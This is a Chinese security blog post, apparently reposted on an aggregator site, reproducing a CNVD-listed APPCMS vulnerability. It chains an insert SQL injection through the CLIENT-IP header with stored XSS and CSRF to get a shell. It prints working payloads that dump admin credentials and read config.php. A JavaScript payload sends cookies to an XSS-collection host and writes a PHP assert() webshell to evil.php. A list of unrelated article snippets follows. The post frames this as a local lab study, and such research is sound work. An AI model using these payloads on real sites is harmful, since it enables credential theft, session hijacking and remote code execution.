php %3c%3c%3cxml 报错,代码审计| APPCMS SQL-XSS-CSRF-SHELL

0x01 背景

由若水师傅提供的一个素材，想要复现CNVD上披露的一个APPCMS的漏洞，由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件，然后就没有详细的漏洞信息了，所以就需要分析相应的源码文件找出存在漏洞的点。借这个素材捡起下代码审计的各种感觉。期待一起学习，期待和师傅们各种交流讨论。

官方站点：http://www.appcms.cc/

漏洞详情地址：

http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891

0x02 审计过程

1. Thinking的心历路程

本篇是个事后总结，是在审计过程中逐步思考利用，然后达到预期的目的。

先是进行了代码审计清楚了造成的漏洞的位置，开始先获得了用户名是admini，密文密码：77e2edcc9b40441200e31dc57dbb8829，安全码：123456；但是并无法得到后台地址，经过思考分析，便想到利用2次漏洞进行XSS打到后台地址和cookie，在深入些便是和CSRF结合得到shell，这便是我的心历路程。以下先说说代码审计部分。

(1)寻找漏洞位置

打开comment.php文件，通读comment.php文件中的代码，并跟踪数据的传递过程。CNVD上说的是一个SQL注入漏洞，所以可以先关注comment.php文件中涉及SQL操作的代码。

comment.php文件第80行-86行，目测query_update,single_insert存在SQL操作，进行SQL拼接的是TB_PREFIX，$fields['parent_id']和$fields。1.//comment.php文件第80行-86行

2.    if ($fields['parent_id'] != 0) {

3.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");

4.    }

5.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);

其中TB_PREFIX在\core\config.conn.php进行了define('TB_PREFIX', 'appcms_');定义，所以不用管TB_PREFIX。

$fields['parent_id']在第73行$fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();进行了数据类型的判断，所以也不能利用。

$fields是由自定义方法function m__add()创建的一个数组，再将$page数组中关键的信息赋给$fields，而$page拥有所有POST和GET的数据；

在 m__add()自定义方法中可控的数据$fields['id']，$fields['type']，$fields['parent_id']必须是数字类型，所以无法利用，剩下$fields['uname'] ,$fields['content'],$fields['ip'],后面经过测试和数据跟踪的过程$fields['ip']是一个可控制并可注入的点。1.//comment.php文件第29-30行

2.$page['get'] = $_GET; //get参数的 m 和 ajax 参数是默认占用的，一个用来执行动作函数，一个用来判断是否启用模板还是直接输出JSON格式数据

3.$page['post'] = $_POST;

1.//comment.php文件第57-86行

2.function m__add() {

3.    global $page, $dbm, $c;

4.

5.    $fields = array();

6.    foreach($page['post'] as $key => $val) {

7.        $page['post'][$key] = htmlspecialchars(helper :: escape($val));

8.    }

9.    if (empty($page['post']['comment'])) {

10.        die('{"code":"1","msg":"发表内容不能为空"}');

11.    }

12.    $code = md5(strtoupper($page['post']['code']));

13.    if ($code != $_SESSION['feedback']) {

14.        die('{"code":"140","msg":"验证码错误"}');

15.    }

16.    $fields['id'] = $page['post']['id'];if(!is_numeric($fields['id'])) die();

17.    $fields['type'] = $page['post']['type'];if(!is_numeric($fields['type'])) die();

18.    $fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();

19.    $content = $c -> filter_words($page['post']['comment']);

20.    $fields['content'] = helper :: utf8_substr($content, 0, 300);

21.    $user = $c -> filter_words($page['post']['user'], 'user');

22.    $fields['uname'] = helper :: utf8_substr($user, 0, 10);

23.    $fields['date_add'] = time();

24.    $fields['ip'] = helper :: getip();

25.    if ($fields['parent_id'] != 0) {

26.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");

27.    }

28.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);

29.    if (empty($res['error']) && empty($ress['error'])) die('{"code":"0","msg":"恭喜发表成功"}');

30.    die('{"code":"1","msg":"发表失败：' . $ress['error'] . '"}');

31.}

之所以得到如上的结论，第一个，是在跟进single_insert方法的时候，在改方法中将$fields数组中的值使用foreach进行组合后传入$sql中没有经过任何处理。1.//core/database.class.php第102-120行代码块

2. public function single_insert($table_name, $fields) {

3.        if (!is_array($fields) || count($fields) == 0) return array('sql' => '', 'error' => '插入失败，插入字段为空', 'sql_time' => 0, 'autoid' => 0);

4.

5.        $sql_field = "";

6.        $sql_value = "";

7.        // 遍历字段和值

8.        foreach($fields as $key => $value) {

9.            $sql_field .= ",$key";

10.            $sql_value .= ",'$value'";

11.        }

第二个，跟进$fields['ip'] = helper :: getip();的getip()方法，发现获取的方式中有一项是CLIENT-IP，这种方式可以通过客户端进行IP伪造。1.//core/help.class.php文件的第47-57行

2. public static function getip() {

3.        $onlineip = '';

4.        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {

5.            $onlineip = getenv('HTTP_CLIENT_IP');

6.        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {

7.            $onlineip = getenv('REMOTE_ADDR');

8.        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {

9.            $onlineip = $_SERVER['REMOTE_ADDR'];

10.        }

11.        return $onlineip;

12.    }

因此$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句，造成了insert注入。为了方便查看和构造payload，我在/core/database.class.php文件的single_insert方法的117行加入echo $sql;方便查看SQL语句，又由于这个CMS的存在失效的图片验证，所以可以轻松的使用burpSuite进行注入获取数据。

80a9ed7609e930491fe3be04c5fab5f2.png

(2)构造payload获取用户名密码

接下来构造PAYLOAD，这个位置是insert注入但是并不会报SQL的错误，所以无法使用报错注入，在师傅们的指导提醒下发现可以直接使用insert将注入查询到的结果回显到前台中，由于这个是个评论功能，那么展示的位置是content,uname,date_add,ip这4个位置。

f6086eeb93e7002ad4c5c8ea50a3a5a6.png

可以直接使用如下的语句将查询结果插入到content和uname，然后回显到前台的用户名和回复内容位置。

PAYLOAD:

CLIENT-IP:10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid= '1'),(select uname from appcms_admin_list where uid= '1'),'1510908798',1)#

61c8116c58ccc98796f11718adb19b13.png

e67b63fe541c7ac088c36415f3b09594.png

(3)构造payload获取安全码

此时就获得到站点的用户名和密码，接下来要获取安全码，这里使用mysql的load_file()来读取\core\config.php文件，安全码等敏感信息就在该文件里面。

可以使用去掉payload后面的#导致报错等方式得到网站的绝对路径，因为在\core\init.php中默认开启了错误提示，所以可以利用错误信息得到绝对路径。

8a6fcac027e792177d4a91ea59903ed0.png

得到绝对路径便可以使用load_file()去读取\core\config.php文件中的安全码了，但是这里content列是使用varchar，然后长度是500，所以直接使用load_file()是无法获得安全码的，因此使用了substr进行了截断，截断范围大致是 从480开始 然后截断400个字符长度，此处没有进行了预测没有精准计算，但是已经将安全码写到content列中了。

PAYLOAD:

CLIENT-IP:10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480 , 400)),'thinking','1510908798',123456)#

d126162ccfea8b72f6b8d7a200f9845e.png

d0f81e5c10b6ff1884163fbe86735b5e.png

此时已经得到用户名是admini，密文密码：77e2edcc9b40441200e31dc57dbb8829，安全码：123456；但是APPCMS安装完毕后强制更改后台地址，所以就是拿到这3个敏感信息也难以登录后进行其他操作。

2. Thinking的心历路程

以上通过代码审计已经分析了CNVD上该版本的APPCMS漏洞产生的整个过程，接下来是对这个漏洞进行进阶研究和学习。所先这种insert注入将用户可控的数据直接写到数据库中，极大的可能还会造成2次漏洞，本小节利用insert注入直接进行存储型XSS打后台，且使用CSRF在添加模块的地方进行写马操作。

(1)XSS注入测试

常规测试 忽略 :!)

(2)打COOKIE平台

这里我使用的蓝莲花团队的xss平台。

09ef3ccb3f585a02d34a64dffa7aab2d.png

PAYLOAD构造：

这里我对内容进行的修改添加了两个请求，一个是创建文件的请求，一个是为文件添加内容的请求。1.//获取站点的关键信息

2.var website="http://127.0.0.1/xsser";

3.(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();

4.

5.function csrf_shell()

6.{

7.//创建文件名为evil.php的文件

8.var xmlhttp1=new XMLHttpRequest();

9.xmlhttp1.open("POST","./template.php?m=create_file",true);

10.xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");

11.xmlhttp1.send("filename=evil.php");

12.

13.//在evil.php文件中写入一句话

14.var xmlhttp2=new XMLHttpRequest();

15.xmlhttp2.open("POST","./template.php?m=save_edit",true);

16.xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");

17.xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");

18.};

19.csrf_shell();

(3)测试是否利用成功

配置好后进行如下请求，此时后台会生成一条评论记录。

a1e226941c03c671371f1b2256a7e60b.png

模拟管理员登录后台，使用burpload进行跟踪，发现创建了evil.php文件，并为文件写入一句话，证明成功执行了刚才配置好的脚本，然后还将站点的信息包括登录信息等也发给了目标系统。

ad865ac462ba39f527af100d7789e099.png

f362ba63e5f935e96e85bddba44692b4.png

de46378ab79a76341cd6991d8dfefccb.png

此时便收到打回来的COOKIE信息了，而对对应的shell地址便是http://127.0.0.1/APPCMS/templates/default/evil.php

0x03 小小总结

本篇获取后台的方法我就想到了XSS，本想使用报错的方式，但发现前台并无数据和后台进行交互，所以没想到怎么在前台引发报错，报出后台地址，所以就采用SQL注入，XSS，CSRF直接getShell了。如果师傅们有更好的思路期待讨论交流，感谢若水师傅提供的素材，感谢各位师傅的指导。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/533335.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

php二进制保存到本地,C# 将二进制字符串保存到本地

php二进制保存到本地,C# 将二进制字符串保存到本地

C# 将二进制字符串保存到本地#region 将文件保存到本地/// /// 将文件保存到本地/// /// 文件的二进制数据字符串/// 文件名称，必须带后缀private void SaveFile(string psContent, string psFileName){byte[] accessory Convert.FromBase64String(psContent);//Sy…
阅读更多...
suse 安装oracle11,Suse11安装Oracle11gR2

suse 安装oracle11,Suse11安装Oracle11gR2

注：以下采用终端XmanagerEnterprise 4中的Xshell连接1、安装前参数修改vi /etc/security/limits.conf --末尾添加如下oracle soft nproc 2047oracle hard nproc 16384oracle soft nofile 1024oracle hard nofile 65536vi /etc/sysctl.conf --末尾添加如…
阅读更多...
oracle 超市管理系统,SuperManager 超市账单管理系统 JSP + Servlet + Oracle Jsp/ 240万源代码下载- www.pudn.com...

oracle 超市管理系统,SuperManager 超市账单管理系统 JSP + Servlet + Oracle Jsp/ 240万源代码下载- www.pudn.com...

文件名称: SuperManager下载 收藏√ [5 4 3 2 1 ]开发工具: Java文件大小: 2144 KB上传时间: 2015-07-07下载次数: 0详细说明：超市账单管理系统JSP Servlet Oracle-超市账单管理系统JSP Servlet Oracle文件列表(点击判断是否您需要的文件，如果是…
阅读更多...
linux命令行的操作符,如何在Linux命令行中进行基本的数学运算

linux命令行的操作符,如何在Linux命令行中进行基本的数学运算

原标题：如何在Linux命令行中进行基本的数学运算Linux bash或命令行允许您执行基本和复杂的算术和布尔运算。像expr，jot，bc和factor等命令可以帮助您找到复杂问题的最优数学解决方案。在本文中，我们将描述这些命令并提供示例&#…
阅读更多...
linux什么用户什么任务,linux任务里的1 和2是什么意思

linux什么用户什么任务,linux任务里的1 和2是什么意思

输出学过代码的小伙伴应该知道STDIN、STDOUT、STDERR通常都是指定输出通道的，perl里又称之为句柄那么1代表的就是STDOUT、2代表的是STDERR、jimmy在视频中会翻译成1代表的是正确输出，2代表的是错误输出。其实严格上不能这样去固有化去理解每一个软件的定…
阅读更多...
linux .desktop权限,如何在Ubuntu Xenial Xerus 16.04 Linux Desktop上以root用户身份登录

linux .desktop权限,如何在Ubuntu Xenial Xerus 16.04 Linux Desktop上以root用户身份登录

您可能已经注意到，默认情况下，Ubuntu Xenial Xerus 16.04 Linux Desktop不具备以root管理员用户身份登录的功能。每次尝试以root用户身份在终端上登录都会导致Login incorrect错误信息：。默认的Ubuntu Linux桌面行为的背后原因是，…
阅读更多...
2048游戏c语言linux简易代码,C语言实现2048游戏代码

2048游戏c语言linux简易代码,C语言实现2048游戏代码

本文实例为大家分享了C语言实现2048游戏具体代码，供大家参考，具体内容如下效果图:使用文本界面的屏幕绘图库 ncurses.设计思路:在满足条件情况下消除方块允许在游戏主界面(16 宫格)中任意一格输出数据实现代码:#include #include #include #include #inc…
阅读更多...
linux shell结构,linux——Shell的控制结构（附shell编写代码和运行结果）

linux shell结构,linux——Shell的控制结构（附shell编写代码和运行结果）

针对shell的控制结构，也就是shell编程时所需要的三种控制流程，顺序/分支和循环。在bash中，顺序可由简单的输入输出命令组成；分支语句由if、case实现；循环语句用for、while和until来实现。一、if语句1、基本的if语句语句…
阅读更多...
c语言 三个小球排排坐,关颖三个孩子排排坐 太萌啦

c语言 三个小球排排坐,关颖三个孩子排排坐 太萌啦

0关颖三个孩子排排坐 太萌啦2019-12-10 10:596月20日，关颖在微博上晒出三个孩子坐在垫子上的照片，配文：“Terrible two has officially started today. Happy happy birthday Phi Phi! 家庭乐趣其中一件事情 就是和小朋友不断的唱生日歌吹蜡烛…
阅读更多...
大学生学C语言用什么笔记本电脑,有哪些适合大学生用的笔记本电脑

大学生学C语言用什么笔记本电脑,有哪些适合大学生用的笔记本电脑

高考成绩公布之后又有一大波新大学生即将入学，笔记本电脑也将是大学生必不可少的一款电子数码产品，但是现在市面上电脑繁多，又有哪些比较不错的电脑适合新入学的大学生呢？惠普 HP Envy 13 (2019)现在，最适合学生的笔记…
阅读更多...
android自带下拉阻尼动画,android 有阻尼下拉刷新列表的实现方法

android自带下拉阻尼动画,android 有阻尼下拉刷新列表的实现方法

本文将会介绍有阻尼下拉刷新列表的实现，先来看看效果预览：这是下拉状态：这是下拉松开手指后listView回滚到刷新状态时的样子：1. 如何调用虽然效果图看起来样子不太好看，主要是因为那个蓝色的背景对不对，没关…
阅读更多...
android viewpager画廊,Android使用ViewPager实现画廊效果

android viewpager画廊,Android使用ViewPager实现画廊效果

按照国际惯例，先上效果图其实这跟普通的ViewPager原理都一样，需要改变的地方就是：1.增加滑进和滑出的动画效果2.缩小ViewPager的大小，给屏幕上留出上一张和下一张视图的空间布局文件：xmlns:android"http://schema…
阅读更多...
excel 区间人数柱状图_Excel中，区间统计的3种技巧都不掌握，那就真的OUt了！

excel 区间人数柱状图_Excel中，区间统计的3种技巧都不掌握，那就真的OUt了！

点击上方"Excel函数公式"免费订阅 Excel的最大功能在于数据的分析与处理，在数据分析和处理中，区间统计是非常广泛的，各位亲是怎么操作的呢？如果还不掌握，且看小编给大家带来的“区间统计”的3种应用技巧。一…
阅读更多...
nova8pro能升级鸿蒙吗,华为将有48款产品可以升级到鸿蒙 2.0系统

nova8pro能升级鸿蒙吗,华为将有48款产品可以升级到鸿蒙 2.0系统

网站Huawei Central最近报道称，将有48款产品可以升级到鸿蒙 2.0系统，包括华为及其子品牌Honor的智能手机，平板电脑和智能手表。 Huawei Central名单中有3款未发布的手机Huawei Nova 8和Nova 8 Pro，以及Honor V40。 它们将在推出时…
阅读更多...
patran如何看屈曲因子_校准证书中的修正值、修正因子，你真的会用吗？

patran如何看屈曲因子_校准证书中的修正值、修正因子，你真的会用吗？

一些仪器设备校准回来会产生修正值/修正因子，然而很多实验室小伙伴们不懂得如何正确使用这些修正值/修正因子？为帮助广大实验室能规范正确地使用修正值/修正因子，小析姐 特为大家推送这篇文章~【概念】修正值：为修正某一测量器具的…
阅读更多...
android 生成debug.keystore,android sdk 如何重新生成debug.keystore

android 生成debug.keystore,android sdk 如何重新生成debug.keystore

1)首先你要确定你安装的JDK位置，Windows->Preferences->Java->Installed JREs,你可以看到是Jre的location,再在dos cmd模式下查看你当前系统的path是否已经包含了。如果没有包含添加到当前环境参数中。因为我们要用到的keytool命令在这个目录下呀。2)接下来…
阅读更多...
已知a类被打包在packagea_2021考研干货：199管理类联考综合逻辑归纳习题(1)

已知a类被打包在packagea_2021考研干货：199管理类联考综合逻辑归纳习题(1)

199管理类联考综合中的逻辑，所占分值为60分。因此，备考2021考研199管综的考生们，需要在内容上面多下功夫复习。题目：小张夫妇想买套房子，经他一番挑选，目标锁定某座楼的3套房。已知：这三套房子中…
阅读更多...
凯立德手机导航(家园版) v5.3 for android,凯立德手机导航（家园版）android平台

凯立德手机导航(家园版) v5.3 for android,凯立德手机导航（家园版）android平台

感谢您阅读凯立德手机导航产品下载安装教程，请根据以下步骤进行操作。下载安装过程完成后，您将体验到更为专业的凯立德导航服务。安装前请认真阅读以下文字：1、为了减少导航产品所占容量，本导航产品分主程序和地图数据两部分。下载…
阅读更多...
clocks_per_sec 时间不正确_你该拥有的不只是护肤品，还有正确护肤时间表

clocks_per_sec 时间不正确_你该拥有的不只是护肤品，还有正确护肤时间表

同样是护肤，为什么你的效果始终不如意？其实，不同的时间段，皮肤各司其职，都有着不同的“任务”和“状态”。快跟芭姐一起了解一下这份《皮肤时间表》，看看如何让护肤效果事半功倍吧！清洁是唤醒肌…
阅读更多...
HTML下拉菜单怎么做成横向,css导航条横向带下拉菜单

HTML下拉菜单怎么做成横向,css导航条横向带下拉菜单

cssdiv导航下拉二级菜单竖排效果如何改为横排？，在“下一站”有三个二级竖排菜单，如何能变为横排？困扰了我一天了，让二级菜单变成一行，只需要在竖排的效果上，让二级菜单都浮动起来，这…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023